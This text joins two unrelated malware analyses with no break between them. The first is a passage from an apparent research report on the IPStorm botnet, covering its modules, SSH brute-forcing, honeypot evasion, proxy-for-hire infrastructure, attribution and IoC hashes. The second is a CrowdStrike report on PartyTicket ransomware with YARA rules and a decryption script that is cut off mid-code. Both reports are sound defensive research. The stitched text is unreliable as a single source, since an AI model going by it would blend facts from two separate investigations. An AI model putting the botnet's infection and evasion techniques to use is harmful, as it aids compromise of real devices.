This module is used for running shell commands on the infected device. The shell is accessed through a libp2p connection with /sbst/1.0.0 as its protocol ID. The module lacks any authentication or authorization.
### DDB
The distributed database (DDB) is used by bots to store and share configuration data. For synchronization, each bot periodically publishes the entries in their local database on an IPFS topic. They also subscribe to this topic and process the messages, updating local entries with ones with newer timestamps. In this process, only “trusted” nodes are authorized to update certain keys. libp2p (pubsub) implements message signing; the bot checks that the public key used to sign the message belongs to a hardcoded list of trusted public keys.
An example of a DDB entry retrieved from the associated topic is:
```json
{
"Command": "SetWithTTL",
"Key": "file-checksum/storm_android-amd64",
"Value": "12c3368e17c04f49cfea139148b63fd1ab1a41e26c113991c2bb0835dd02495b",
"TTL": 3600000000000,
"T": 1598897109
}
```
The Command refers to the operation that should be performed on the database; in this case, the entry has a time-to-live (TTL), which means that it should be discarded after a time interval (the TTL value) has elapsed since its publishing (the T timestamp). Key and Value correspond to the actual data stored in the database.
### VPNGate
This module is used for scraping the API of the public VPN service VPNGate. The bot performs a request to “http://www.vpngate.net/api/iphone/” and parses the CSV response. The information obtained about these VPN servers is then published on one of IPStorm’s topics.
The reason for the inclusion of this module in the botnet is probably to overcome certain limitations imposed by VPNGate that restrict the list of servers returned for a request. By scraping in a distributed manner through the botnet, the bot herders can discover a wider selection of VPN servers. The ulterior use of this data is uncertain. However, in light of other discoveries concerning the motivations of the bot herders, we hypothesize that these servers may have been (ab)used in the threat actors’ proxy-for-hire infrastructure.
### Reque
The reque package (standing perhaps for “requests from command-and-control”) is used for functionalities related to coordinated scanning for SSH and ADB servers and worm-style infection. The bot connects to an IPFS node referred to as a reque server through the /sreque/1.0.0 protocol. The commands from this server are distributed among a queue of workers. The module is designed to be easily extended to handle new commands. Currently, there are two command handlers, for the tcp-scan and brute-ssh commands.
The tcp-scan command is used to scan an IP range on a set of ports. If the list of targeted ports contains ports 22 or 5555, the module follows the SSH and ADB protocols respectively. The brute-ssh command has as its parameters a list of IP addresses, a port, and credentials. If the bot succeeds in obtaining a shell on one of the targeted devices, it executes the infection payload, turning the victim into an IPStorm bot.
As a honeypot evasion technique, the prompt of the shell is validated using a regular expression before the infection step. The regex matches the “svr04” string, which is the hostname of a Cowrie honeypot. While in the case of SSH the bot exhibits worm behavior, for ADB the infection phase is not carried out by bots, which only relay the information about the device found back to the reque manager. The actual infection is carried out by one of the bot herder-controlled nodes, which connects to the victim by ADB and issues the infection payload.
### Proxy
IPStorm proxies function by tunneling the SOCKS5 protocol through libp2p traffic. The module performs two tasks concurrently: maintaining the connection to a backend and handling incoming streams. The proxy backend is located using either the DDB (older versions) or the node discovery mechanism. The bot then connects to the backend using the /sbpcp/1.0.0 protocol and periodically pings with its external IP address and latency.
In the initialization phase, it starts a local SOCKS5 proxy on a randomized port using an open-source SOCKS5 implementation. A stream handler for the /sbptp/1.0.0 protocol is instantiated. This allows the node to decapsulate the SOCKS5 proxy traffic from the libp2p stream and forward it to the local proxy. The responses are likewise relayed back to the peer through the libp2p stream.
### Filetransfer
IPStorm hosts the malware binaries in a distributed manner, with each bot “seeding” for one or more samples. This functionality is implemented in the filetransfer package. The bot regularly checks for updates: it retrieves the latest version number, either from the DDB or through the web API. If a new version is available, it is downloaded and the bot is killed and respawned using the new binary. This process generates a new key pair and therefore a new peer ID.
While the sample matching the native architecture and OS is stored in the filesystem, additional samples are stored in RAM. Depending on available RAM, a number of other samples are downloaded and served on a local HTTP server. This server is opened on a random port at bot startup and is advertised in the DDB. For each hosted sample, the entries “seeder:” + checksum and “seeder-http:” + checksum are formatted with the bot’s peer ID or its external IP and port of the HTTP service, respectively. In newer versions, this is replaced with POSTing the equivalent data to 2 web API endpoints.
The process of downloading the sample has several steps:
1. retrieving the checksum of the latest sample for a specific CPU architecture and OS
2. looking for seeders for the file with that checksum
3. connecting to the peer, either through HTTP or IPFS (protocol /sfst/1.0.0) and downloading the sample
4. validating the checksum
The statik module is used to store a zip file into memory from which files may be retrieved individually. The archive contains:
```
Length Date Time Name
--------- ---------- ----- ----
1764 2020-06-05 13:37 linux/install.sh
397 2020-05-12 09:17 storm_android/install-recovery.sh
2796 2020-05-12 14:18 storm_android/storm-install.sh
370 2020-05-11 21:42 storm_android/storm-pslist.sh
190 2020-05-11 12:24 storm_android/storm.rc
--------- -------
5517 5 files
```
The first script, linux/install.sh, is used as a downloader/dropper for the main payload in SSH infections. The script is customized by the bot ad-hoc, adding a variable containing recent “seeders” for the payload. The scripts in storm_android are used for re-configuring persistence on Android devices when the bot is updated.
### WebAPI
Since version 0.1.92a, IPStorm started transitioning away from the PubSub model to a more centralized design. Bots would no longer coordinate using messages posted by other bots. Instead, all information is aggregated by one or more C2 nodes which expose a Web API.
The HTTP protocol is layered on top of libp2p connections using the go-libp2p-http package. The services referred to in the IPStorm code as “web API backends” are addressed by their peer IDs and are discovered using the peer discovery mechanism.
The reason for this transition is not clear. Some possible explanations are that the developer(s) have realized that other parties can read and potentially interfere with the topics and desired more control, or that the synchronization was unreliable. The latter would explain the paradox of why we are seeing multiple bots stuck using old malware versions although the code is designed to automatically update to the latest available version.
In addition to ensuring that p2p synchronization is overseen by the bot herder-controlled nodes, the messages remain authenticated and authorization is enforced using the same set of trusted keys as in the case of the DDB.
The API exposes the following endpoints:
- POST /nodes
- Parameters:
- i: fingerprint of the infected system equivalent to the info topic
- GET /version
- GET /files/checksum
- Parameters:
- f: filename
- GET /files/seeders-http
- Parameters:
- c: checksum
- POST /files/seeders-http
- Parameters:
- c: checksum
- s: seeder IP and port
## Mapping the Botnet
In our efforts to monitor the botnet we have used data from multiple sources:
- publicly available “peer info” (ID, public key, addresses, and versioning information)
- messages published on topics: the DDB topic, the info topic
- querying the DHT for peers that are part of the botnet
In the first approach, we used the database of peer information collected by our IPFS crawler. The nodes that belong to the botnet are easily identified by their AgentVersion, which is analogous to the User-Agent from the HTTP protocol. For applications built using go-libp2p, the AgentVersion is set by default to the name of the main package. IPStorm nodes have the AgentVersion set to storm. This property enabled us to find nodes that don’t announce themselves on other channels, such as the info topic.
Secondly, we used the same mechanism that enables IPStorm bots to find peers: querying the DHT for specific content IDs provided by different classes of nodes within the botnet (regular nodes or ones with special roles). Information about the IDs of bots is also available in the info topic and the DDB topic. We used the data in the DDB topic for tracking the versions and the roles of the peers controlled by the threat actors. The data from the info topic gave insight into the distribution of victims by country, device type, and OS.
In estimating the size of the botnet, we faced the problem that there is no clear way of discerning whether two node IDs represent the same infected device. The ID can be changed through version updates or reinfection. The external IP is not a good identifier either, because it can change over time or because multiple nodes can be behind NAT. Based on the number of different IDs seen in a week, averaged over several weeks, we estimate the size of the botnet at around 9,000 devices. The overwhelming majority have Android as their operating system and about 1% use Linux. We have seen Darwin only in a few entries on the info topic which clearly represent the same machine, the one used for development of IPStorm.
There are still a number of devices that, according to the messages they post on the info topic, run versions of IPStorm prior to 0.1.* and have Windows as their OS. Since the new campaign focuses solely on Unix systems, it is remarkable that the bots have persisted on these devices since the 2019 campaign.
Although the fingerprint contains no specific information about the model of the device, clues can be gathered from the OS, kernel version, and, sometimes, the hostname and user names. Based on this, we have identified various models of routers, NAS devices, UHD receivers, and multi-purpose boards and microcontrollers (such as Raspberry Pi), which may belong to IoT devices.
The following figures refer to the geographic distribution of victims, as identified by external IPs. Most are in Asia. Affecting 98 countries in total, the botnet appears powerful in terms of its capacity for scanning the Internet, but through its choice of attack vectors targets classes of devices that are more prevalent in certain countries. Our honeypots saw on average 3,500 attacks/day from this botnet, which amounted to a large share of the traffic.
| Country | # of victims |
|---------|--------------|
| Hong Kong | 2901 |
| Republic of Korea | 2125 |
| Taiwan | 1018 |
| Brazil | 743 |
| Ukraine | 524 |
| United States | 380 |
| China | 353 |
| Sweden | 351 |
| Russia | 336 |
| Venezuela | 242 |
| Panama | 217 |
| Canada | 159 |
## Infrastructure
Although we didn’t manage to get ahold of binaries from the management infrastructure, they are likely developed in the same project, and we can find some clues related to them in the bot binaries. The fact that the management nodes use the same AgentVersion, which is set based on the path of the main package, supports this assumption.
The package tree contains some additional packages from which no code (besides some initialization functions) is used by the bots:
- storm/commander/web_app/router
- storm/proxy/checker
- storm/util/storm_runtime
These are perhaps the packages corresponding to a web interface for managing the victims and an automated checker for the availability of the proxies.
The special roles assigned to nodes from the management infrastructure - that we know of - are:
- proxy backend; the bot’s proxy module pings these nodes to prove its availability
- proxy checker; a node that connects to a bot proxy
- reque manager; a node that issues scanning and brute-forcing commands (see the reque module)
- web API backend; a node that hosts a web API (used in newer versions)
- trusted node; a node whose public keys is included in a trust list (can sign authorized messages)
- development node; used by the threat actors for development purposes
The following nodes have been observed:
- ID: QmW1ptn27xSAgZqBvJwhaGWmJunjzqAGt1oAj4LdVAm9vM
- Roles: trusted, web API backend
- Addresses: /ip4/212.x.x.100/tcp/444, /ip4/212.x.x.100/tcp/5554, /ip4/88.x.x.34/tcp/444
- ID: QmddMf2PfNXu6KVKp63rcLhWpNqQdaQdPZzP649dRXS6et
- Roles: unknown
- Addresses: /ip4/212.x.x.100/tcp/443
- ID: Qmeb3X55MaoKhZfYsUHFgkZWAz3ZFtQCQz6qiaEqamo7a2
- Roles: trusted, web API backend, reque manager, proxy backend, proxy checker
- Addresses: /ip4/54.x.x.216/tcp/444, /ip4/54.x.x.216/tcp/5554, /ip4/101.x.x.240/tcp/443, /ip4/101.x.x.222/tcp/443, /ip4/111.x.x.85/tcp/443
- ID: QmViHGaXaG5JzbvH2Xs1Ro19fvoKG1KqpPGMYWLc4ckEAV
- Roles: proxy backend, reque manager
- Addresses: /ip4/54.x.x.216/tcp/443, /ip4/54.x.x.216/tcp/5555
- ID: QmShLAfGGVDD32Gsx5Q2YbuhdDm1uHAmV8aozV6uRKAZdW
- Roles: trusted
- Addresses: unknown
- ID: QmNWL3UTHbfCxhKA8Lu9aL2XpPGGYQmN4dihXsaCapiyNx
- Roles: trusted
- Addresses: unknown
- ID: QmV7UYLoDmUv3XViiN1GqrsC6t8WLPGmCKTMAJ544x2pbA
- Roles: proxy backend
- Addresses: /ip4/45.x.x.194/tcp/443
- ID: QmdACwNe1JdkD2N45LRbcFthPpEVQVtfBvuHFHQ4cFMcAz
- Roles: development
- Addresses: unknown (External IP: 163.172.x.x)
- ID: QmNoV8qAgLTEo1nQN8wmusi9U9kmArUjVNsKY4TdYS1wvT
- Roles: development
- Addresses: unknown
Some of these nodes have changed their addresses and roles over time. The listed information is sourced from publicly available peer information, collected over recent months. We have only included multiaddresses which contain an external IP and port. For some nodes, our data only contains relay circuit addresses and their address is therefore listed as unknown.
An interesting side-development is that a group of seven nodes appeared on 17 September 2020, announcing themselves as providers for the web API CID:
- QmNeV49LPkgQENkpSmg6q8nB1jypY74jhtWxP9rANUQubd
- QmRG9bwpWumxkNwGbceiMXmikAeNDw48kiTRaJSt8rSmzp
- QmXPUhUy4e2jg6dqjfsTnseC5m5KHgZvqMr6AwVutdcQGL
- QmYmDUkGJJ5K2BQ6JYuJeN2SJB3wfDg2N78th6tMEmHgSF
- QmbNwkGiHrK9XcP6n2vMZh9sZMoicvcrhaTbtXMzoC8rp1
- QmbcbZb8Jq8u44oCqna5h2ZBjSpRT42dNLDDNCyuSfGu3L
- Qmek3KNuJY3eRbSGZ9zm2M8yYLb7bMeA28gMswQXarhbmW
They are not reachable and therefore their origin and purpose cannot be ascertained. One theory is that they may belong to an attempt to take down the botnet with a Sybil attack: the bots fruitlessly try to reach the false web API nodes and the functionality that depends upon the module is impeded. Otherwise, they may belong to fellow researchers, in which case, Hello!
## Attribution
While some management nodes were a later addition to the botnet’s infrastructure, the nodes hosted on two particular IPs have played central roles since we started this investigation. As a starting point, we searched for the nodes holding the trusted keys hardcoded in the binary. We found Qmeb3X55MaoKhZfYsUHFgkZWAz3ZFtQCQz6qiaEqamo7a2 and QmW1ptn27xSAgZqBvJwhaGWmJunjzqAGt1oAj4LdVAm9vM, which had at that time the following peer infos:
```json
{
'Addresses': ['/ip4/54.x.x.216/tcp/444'],
'AgentVersion': 'storm',
'ID': 'Qmeb3X55MaoKhZfYsUHFgkZWAz3ZFtQCQz6qiaEqamo7a2',
'ProtocolVersion': 'ipfs/0.1.0',
'PublicKey': 'CAASpgIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCzR75b/L1QhliHV/yFZF LNQ6MC5JsbU3pvwBQN7yP82+vKNV6gu0bUozOUIVc2O/EZLbMyiS+cKrEWNue72/2FGnM84DfTWBYh UiYrhJVupHXGGEfBFBfy1LtswXoEaW584up1CQwdKlbKKw4Fqt2NUCEHlX8IWRZS4F34N53xqFBb1RNwgmfa xdagttsP+20jCI10sLkCk6OnMAasyQCkOB+xvH6t4nakztipe/xgpU6kv5CittTfKFnRq952TS0G6a4m7OruX TVIJEqiDV/E+avFI2JdJoe7NzKwrtbrfx01nSNCvDSqRNxd4S1HfGu6rpse+3YbmLoMwEDVPVvjAgMBAAE='
}
```
```json
{
'Addresses': ['/ip4/10.12.128.139/tcp/444', '/ip4/212.x.x.100/tcp/444'],
'AgentVersion': 'storm',
'ID': 'QmW1ptn27xSAgZqBvJwhaGWmJunjzqAGt1oAj4LdVAm9vM',
'ProtocolVersion': 'ipfs/0.1.0',
'PublicKey': 'CAASpgIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCw4JxaWchBO9fGmyjNI OwA/LlG3P6zz3QrsJmbwJV0o3GDYjyLG7RzTeqi1NySvwpUW7mE7IP/XIGrDgbXodNGr+/o5bcHXosJwCccS EJvxcqL9+ePBO4uwcOIUhxDtWiOjEdPwQ5jTua4S2oeJgNwsPIn3SEz2A5UqdstFB6SJBqth8OT4MGqkXKoWE uBtA6Qc5pUYnhgUSznQH77rqbygiudM9d9BFg6jlvMoUrBqXj83tC3lOZK45AzY2cEH3Lz2UzCgO36DUmUH BB7qR01Up6v9QNGW9pBQkDolFxrJputv+zavthxcrkyhCbdHvrlBC0kw+1uSRaPD4A/FE/zAgMBAAE='
}
```
Starting from their public IPs, 54.x.x.216 and 212.x.x.100, we have located two other nodes hosted on each of these IPs on port 443 (QmViHGaXaG5JzbvH2Xs1Ro19fvoKG1KqpPGMYWLc4ckEAV and QmddMf2PfNXu6KVKp63rcLhWpNqQdaQdPZzP649dRXS6et). The IPs and port hosting each node has varied as depicted in the following table, but their association with the botnet (and management nodes in particular) has been constant.
| IP | Port | ID | Last seen |
|----|------|----|-----------|
| 54.x.x.216 | 444 | Qmeb3X55MaoKhZfYsUHFgkZWAz3ZFtQCQz6qiaEqamo7a2 | 7th September 2020 |
| 54.x.x.216 | 443 | Qmeb3X55MaoKhZfYsUHFgkZWAz3ZFtQCQz6qiaEqamo7a2 | 29th September 2020 |
| 54.x.x.216 | 443 | QmViHGaXaG5JzbvH2Xs1Ro19fvoKG1KqpPGMYWLc4ckEAV | 5th September 2020 |
| 212.x.x.100 | 443 | QmddMf2PfNXu6KVKp63rcLhWpNqQdaQdPZzP649dRXS6et | 6th September 2020 |
| 212.x.x.100 | 443 | QmViHGaXaG5JzbvH2Xs1Ro19fvoKG1KqpPGMYWLc4ckEAV | 5th September 2020 |
| 212.x.x.100 | 443 | QmW1ptn27xSAgZqBvJwhaGWmJunjzqAGt1oAj4LdVAm9vM | 29th September 2020 |
| 212.x.x.100 | 444 | QmW1ptn27xSAgZqBvJwhaGWmJunjzqAGt1oAj4LdVAm9vM | 6th September 2020 |
| 212.x.x.100 | 444 | Qmeb3X55MaoKhZfYsUHFgkZWAz3ZFtQCQz6qiaEqamo7a2 | 7th September 2020 |
We assert that these two IPs are unquestionably in the ownership of the bot herders. The fact that the management nodes - with the exception of the “development” nodes - have never posted on the info topic proves that they do not run the same bot as the victims. Two of the nodes hosted here possess “trusted” keys and have played privileged roles in the p2p botnet (issued scanning commands, managed proxies, or hosted the web API). Another argument is that the nodes hosted on these two IPs have been operational for several months, while regular bots change their IDs when they update.
Furthermore, 54.x.x.216 is the source IP of the attacks over ADB seen in our honeypots. DNS records from RiskIQ show that these IPs have been linked with two subdomains of a domain that we will refer to as “the domain”.
DNS A record of the first sub-domain links with IP 212.x.x.100 (seen from 2019-07-24 14:25:41 to 2020-09-09 10:51:24). DNS A record of the second sub-domain links with IP 54.x.x.216 (seen from 2020-05-04 23:09:57 to 2020-09-09 05:40:33). Whois records confirm that the ownership of these IPs has remained constant in this period. The domain is a paid SOCKS5 proxy service. They advertise over 7,000 proxies from all over the world and claim to be “highly anonymous.” An interesting thing mentioned in their FAQ is that: “Every hour we have about 3-10% of new IPs.”
The website of the proxy service seems to be offering four standard pricing packages on a monthly subscription that ranges from $74 to $259, depending on the number of concurrent TCP connections – from 150 for the lowest tier offering to 3,000 for the highest tier. However, pricing seems flexible, as the website also offers tier plans that are either geolocation-specific, such as proxies from Europe or North America, world mixed, or even for developers. The pricing diagram covers anything from hourly tariffs that start from $2 and peak at $14, to daily, weekly, or monthly. The highest monthly tier pricing involves a monthly Premium package for $499 and offers mixed proxies from all over the world, including Europe, CIS, and North America, and seems to involve access to the entire live victim infrastructure.
We claim that whoever is behind the domain is also behind IPStorm and uses the infected devices to back their proxy service for financial gain. More information about these particular IPs and domains can be freely provided to law enforcement agencies by reaching out to [email protected].
## The Developer
We have noticed some artifacts in binaries from versions 0.0.* and 0.1.* respectively:
- /Users/[redacted]/go/src/storm
- /Users/dummy/Documents/GoLandProjects/storm
These are the paths of the IPStorm Go project that was stored on the machines where the malware was developed and compiled. While the username “dummy” is common, the other username (which has been redacted) is distinctive enough to investigate further. It is plausible that the developer took note of the fact that their username was mentioned in the Anomali article and sought to be more “anonymous”.
Similar paths are present in the binary loaders used for infection over ADB:
- /Users/dummy/Documents/CppProjects/loader
We found several related entries on the info topic. For example:
```json
{
"T": 1597849326,
"HostID": "QmdACwNe1JdkD2N45LRbcFthPpEVQVtfBvuHFHQ4cFMcAz",
"Version": "0.1.90a",
"Platform": "darwin-amd64",
"SystemInfo": {
"GoOS": "darwin",
"Kernel": "Darwin",
"Core": "19.5.0",
"Platform": "x86_64",
"OS": "Darwin",
"Hostname": "MacBook-Pro-16.local",
"CPUs": 16
},
"Uid": "501",
"Gid": "20",
"UserName": "dummy",
"UserDisplayName": [redacted],
"UserHomeDir": "/Users/dummy",
"IsAdmin": false,
"ExecutablePath": "/Users/dummy/Documents/GoLandProjects/storm/storm",
"InstallationPath": "/Users/dummy/Documents/GoLandProjects/storm/storm",
"ComputerID": "",
"LocalIPs": null,
"ExternalIP": "163.172.x.x",
"Processes": null
}
```
These matched what we knew so far about the development environment: the path of the main project and the username [redacted]. The presence of these entries on the info topic, while the management nodes lack the feature, indicates that these nodes are used for development and testing. Although we have not managed to link the IP 163.172.x.x to any subdomain, we noticed that it is from the same hosting provider as other IPs linked with them and may be part of their cloud infrastructure. The interesting association is that it is in the same ASN (AS12876) as the IP of the subdomain that hosts a Gitlab instance (163.172.x.y). The projects on this Gitlab are hidden, but other information is publicly available.
## Conclusions
It is because of this thorough investigation that we believe the Interplanetary Storm botnet not only has the capabilities to act as an anonymization proxy-for-hire infrastructure, but the malware has a highly active development cycle. The main purpose of the botnet seems to be financial, as the code went through a considerable number of revisions to create a reliable and stable proxy infrastructure.
## Indicators of Compromise (IoCs)
Bot samples (version 0.2.05a):
- 71e7bb56899c7860729119734053409b6e8502f9 “/storm_linux-amd64”
- f7b008c30f5555f892211aeaa054d00ba8c093b7 “/storm_linux-386”
- dc917a8aa6e8061623163967629db945099062a9 “/storm_linux-arm64”
- c442c0a74ec5eddd713e80ea1cb07c8863a4816b “/storm_linux-arm7”
- 98c80465c1caf0b59462013875a99b23a43ce73f “/storm_darwin-amd64”
- ea665844b69815d6543cf4c8e6351d0129d7c669 “/storm_android-arm7”
- 7ae71c05a3dea0165b88ed1a8caa8666b74c03e3 “/storm_android-arm64”
- f74c6e810450a31184503e211484f944dda005b3 “/storm_android-amd64”
- 90d0ecb2489b4d958d1480e9e7d527f0c659c004 “/storm_android-386”
Downloaders and persistence:
- 9cc0273d83f0c950c5adfb5e374a55d7503679a5
- aee0848450b28bbe1f24ee0287e83c3329955a40
- db2d7d829e305feea947073973335a914117ec2a
- 0546c9b436a87e029480687d6df7b63a19fa87de
File names:
- storm.key
Bot samples (older versions):
- 7ae71c05a3dea0165b88ed1a8caa8666b74c03e3
- 086ce30530db7a1b72b9b0b270cd4a1dcc2fa9e6
- b61b77c87ed5b0b3d95c975daf5e4ec85632a638
- dcdd9b4f3fb5a713e5e6ac81f5eb0f1f283ee7ea
- 0db8496f0c8a8664c5ab645600a4e11da788ffa3
- 7fdec673db4fdf3391995cc6adc3895794f8ff02
- f0f995fb273d6a7e3fd15aa3797a63790cbfe460
- 92b02a4987b360a50f96f86ef3b78a8df2a4d1a8
- e7d41e75a7faca4669860dd5d38fddda2e4f8c1d
- 9d51af0e3602702d5096d108aea2fff620031cd2
- ff872f75d00008444282c18ec91fde0b63196dc4
- 88aa38f5c03ffdf7f6c3770f6349fbbc86bd9ab4
- 05be2d82e8a98da991699f88bda9d1160525c957
- 161dd2e5634e9f5f85632500ea701886ce49a155
- 7afac23e95b4f83769f7ff7df462988d997b964a
- 2d522ba28f929922fc80d6e4a3a16c2f1273effe
- b47c25a3e34efb40023eeeaddcefa2ead2a71ba8
- d32cf21edad6c196ebded79081a8316e84411ad2
- d6674f5563f07a4ef2db7e37967cffe78b98e85e
- 1ac42f0bdf5e338c3586be914d9268239e427d14
- 3ccdbd4044623f9639277baa9f3dbec42c66fcf0
- be3cc9c380cc1aecd562602c7c41183f5865085f
- d331447e55a99692b196147750132770daf28e5b
- 6ec780aecad007d739b0ef90f30e228166a83173
- a79933eb5fd08745c2742dff4b852d57d4b681e4
- 6f9f5d06ea1a34b8022c8314fc38b67e2effae80
- c9a570eef414a2511955d704643455ddbfe5d930
- 4bcff0d3bd6997be6896aedd81211e161c89fad3
- d39a2f63dc953c0c1c67cd7a9bec3c5aab9d3628
- 9e63567f7e670ea358af584eea6bbc9a68513c9d
- fcbc3eb70cc8b1bd19b7d990ba360f1ea2a359c3
- b9d2816405979fc528a4eae71b8955242ef251af
- 007dd1362ca43d06b0ca633aa6099493063df7ca
- 5a0f8d0607e20aea0157a5572039ff255c0ae88b
- 3be8947a898d0539666c98c00b53ebe84c006fcf
- 5d1aa62b6c67b5678a3697153afbcdf45932f4af |
# How to Decrypt the PartyTicket Ransomware Targeting Ukraine
**CrowdStrike Intelligence Team**
**March 1, 2022**
## Summary
On Feb. 23, 2022, destructive attacks were conducted against Ukrainian entities. Industry reporting has claimed the Go-based ransomware dubbed PartyTicket (or HermeticRansom) was identified at several organizations affected by the attack, among other families including a sophisticated wiper CrowdStrike Intelligence tracks as DriveSlayer (HermeticWiper). Analysis of the PartyTicket ransomware indicates it superficially encrypts files and does not properly initialize the encryption key, making the encrypted file with the associated `.encryptedJB` extension recoverable.
## Technical Analysis
A PartyTicket ransomware sample has a SHA256 hash of `4dc13bb83a16d4ff9865a51b3e4d24112327c526c1392e14d56f20d6f4eaf382`. It has been observed associated with the file names `cdir.exe`, `cname.exe`, `connh.exe`, and `intpub.exe`.
The ransomware sample — written using Go version 1.10.1 — contains many symbols that reference the U.S. political system, including `voteFor403`, `C:/projects/403forBiden/wHiteHousE`, and `primaryElectionProcess`.
The ransomware iterates over all drive letters and recursively enumerates the files in each drive and its subfolders, excluding file paths that contain the strings `Windows` and `Program Files` and the folder path `C:\Documents and Settings` (the latter folder was replaced in Windows versions later than Windows XP with `C:\Users`). Files with the following extensions are selected for encryption:
`acl, avi, bat, bmp, cab, cfg, chm, cmd, com, contact, crt, css, dat, dip, dll, doc, docx, dot, encryptedjb, epub, exe, gif, htm, html, ico, in, iso, jpeg, jpg, mp3, msi, odt, one, ova, pdf, pgsql, png, ppt, pptx, pub, rar, rtf, sfx, sql, txt, url, vdi, vsd, wma, wmv, wtv, xls, xlsx, xml, xps, zip`
For each file path that passes the previously described path and extension checks, the ransomware copies an instance of itself to the same directory it was executed from and executes via the command line, passing the file path as an argument. The parent ransomware process names its clones with a random UUID generated by a public library that uses the current timestamp and MAC addresses of the infected host’s network adapters.
The malware developer attempted to use Go’s `WaitGroup` types to implement concurrency; however, due to a likely coding error, the ransomware creates a very large number of threads (one per enumerated file path) and copies its own binary into the current directory as many times as there are selected files. After all encryption threads have ended, the original binary deletes itself via the command line.
When the sample receives a file path as an argument, it encrypts the file using AES in Galois/Counter Mode (GCM). The AES key is generated using the Go `rand` package’s `Intn` function to select offsets in the character array `1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ`, generating a 32-byte key. Due to another likely coding error, the seed for the `Intn` function is updated after the key is generated, meaning the same AES key is generated each time the binary and its clones are run. All of the files encrypted on a host are encrypted with the same key, and knowledge of the corresponding PartyTicket sample’s key enables their decryption. A script using this flaw to recover the encrypted files is available on the CrowdStrike Git Repository.
For each file, the AES encryption key is itself encrypted with RSA-OAEP, using a public RSA key that has the following parameters:
- **Modulus (N)**: `0xcbb94cb189a638b51e7cfe161cd92edb7145ecbd93989e78c94f8c15c61829286fd834d80c931daed4ac`
- **Exponent (E)**: `0x10001`
Before encryption, the ransomware renames the file using the format `<original file name>.[vote2024forjb@protonmail[.]com].encryptedJB` (“JB” very likely stands for the initials of the United States president Joseph Biden, given the other political content in the binary). The ransomware then overwrites the content with the encrypted data. PartyTicket will only encrypt the first 9437184 bytes (9.44 MB) of a file. If the file passed as an argument is larger than this limit, any data above it is left unencrypted. After the file contents are encrypted, PartyTicket appends the RSA-encrypted AES key at the end of the file.
The ransomware also writes an HTML ransom note on the user’s desktop directory with the name `read_me.html` before the file encryption starts. Unless they are intentional mistakes, grammar constructs within the note suggest it was likely not written or proofread by a fluent English speaker.
## Assessment
CrowdStrike Intelligence does not attribute the PartyTicket activity to a named adversary at the time of writing. The ransomware contains implementation errors, making its encryption breakable and slow. This flaw suggests that the malware author was either inexperienced writing in Go or invested limited efforts in testing the malware, possibly because the available development time was limited. In particular, PartyTicket is not as advanced as DriveSlayer, which implements low-level NTFS parsing logic. The relative immaturity and political messaging of the ransomware, the deployment timing, and the targeting of Ukrainian entities are consistent with its use as an additional payload alongside DriveSlayer activity, rather than as a legitimate ransomware extortion attempt.
## YARA Signatures
The following YARA rule can be used to detect PartyTicket:
```yara
rule CrowdStrike_PartyTicket_01 : ransomware golang {
meta:
copyright = "(c) 2022 CrowdStrike Inc."
description = "Detects Golang-based crypter"
version = "202202250130"
last_modified = "2022-02-25"
strings:
$ = ".encryptedJB" ascii
$start = { ff 20 47 6f 20 62 75 69 6c 64 20 49 44 3a 20 22 }
$end = { 0a 20 ff }
condition:
uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and
for 1 of ($end) : ( @start < @ and @start + 1024 > @) and
all of them
}
rule CrowdStrike_PartyTicket_02 : PartyTicket golang {
meta:
copyright = "(c) 2022 CrowdStrike Inc."
description = "Detects Golang-based PartyTicket ransomware"
version = "202202250130"
last_modified = "2022-02-25"
strings:
$s1 = "voteFor403"
$s2 = "highWay60"
$s3 = "randomiseDuration"
$s4 = "subscribeNewPartyMember"
$s5 = "primaryElectionProces"
$s6 = "baggageGatherings"
$s7 = "getBoo"
$s8 = "selfElect"
$s9 = "wHiteHousE"
$s10 = "encryptedJB"
$goid = { ff 20 47 6f 20 62 75 69 6c 64 20 49 44 3a 20 22 71 62 30 48 37 41 64 57 41 59 44 7a 66 4d 41 31 4a 38 30 42 2f 6e 4a 39 46 46 38 66 75 70 4a 6c 34 71 6e 45 34 57 76 41 35 2f 50 57 6b 77 45 4a 66 4b 55 72 52 62 59 4e 35 39 5f 4a 62 61 2f 32 6f 30 56 49 79 76 71 49 4e 46 62 4c 73 44 73 46 79 4c 32 22 0a 20 ff }
$pdb = "C://projects//403forBiden//wHiteHousE"
condition:
(uint32(0) == 0x464c457f or (uint16(0) == 0x5a4d and uint16(uint32(0x3c)) == 0x4550)) and 4 of ($s*) or $pdb or $goid
}
```
## Script to Decrypt PartyTicket Encrypted Files
Due to the previously discussed implementation errors in the AES key generation, it is possible to recover the AES key used for encryption by PartyTicket. The below Go script decrypts files encrypted by PartyTicket sample `4dc13bb83a16d4ff9865a51b3e4d24112327c526c1392e14d56f20d6f4eaf382`. The script takes the file to be decrypted as an argument via the `-p` flag and saves the decrypted output to `decrypted.bin` in the same directory. The script can be built as an executable or run via the Go run package; it was tested using Go version `go1.16.6`.
```go
package main
import (
"crypto/aes"
"crypto/cipher"
"encoding/hex"
"fmt"
"os"
"flag"
)
func main() {
encrypted_filepath := flag.String("p", "encrypted.bin", "Path to encrypted file")
flag.Parse()
fmt.Printf("Decrypting file : %s\n", *encrypted_filepath)
key_bytes := []byte("6FBBD7P95OE8UT5QRTTEBIWAR88S74DO")
key := hex.EncodeToString(key_bytes)
fmt.Printf("Decryption key : %s\n", key_bytes)
dat, err := os.ReadFile(*encrypted_filepath)
if err != nil {
fmt.Println("Unable to open file, please supply path of encrypted file with flag -p, default file path is ./encrypted.bin")
os.Exit(3)
}
decrypted_filepath := "decrypted.bin"
filecontents := dat
encrypted_contents := filecontents[:len(filecontents) - 288]
enc_size := len(encrypted_contents)
bsize := 1048604
cycles := enc_size / bsize
if cycles == 0 {
encrypted := hex.EncodeToString(encrypted_contents)
decrypted := decrypt(encrypted, key)
write_output(decrypted_filepath, decrypted)
} else {
for i := 0; i < cycles; i++ {
if i >= 9 {
start := 9 * bsize
end := enc_size
data := string(encrypted_contents[start:end])
write_output(decrypted_filepath, data)
break
}
block_start := i * bsize
block_end := (i + 1) * bsize
if block_end > enc_size {
block_end = enc_size
}
encrypted := hex.EncodeToString(encrypted_contents[block_start:block_end])
decrypted := decrypt(encrypted, key)
write_output(decrypted_filepath, decrypted)
}
}
fmt.Printf("Decrypted file written to : %s\n", decrypted_filepath)
}
func write_output(filepath string, data string) {
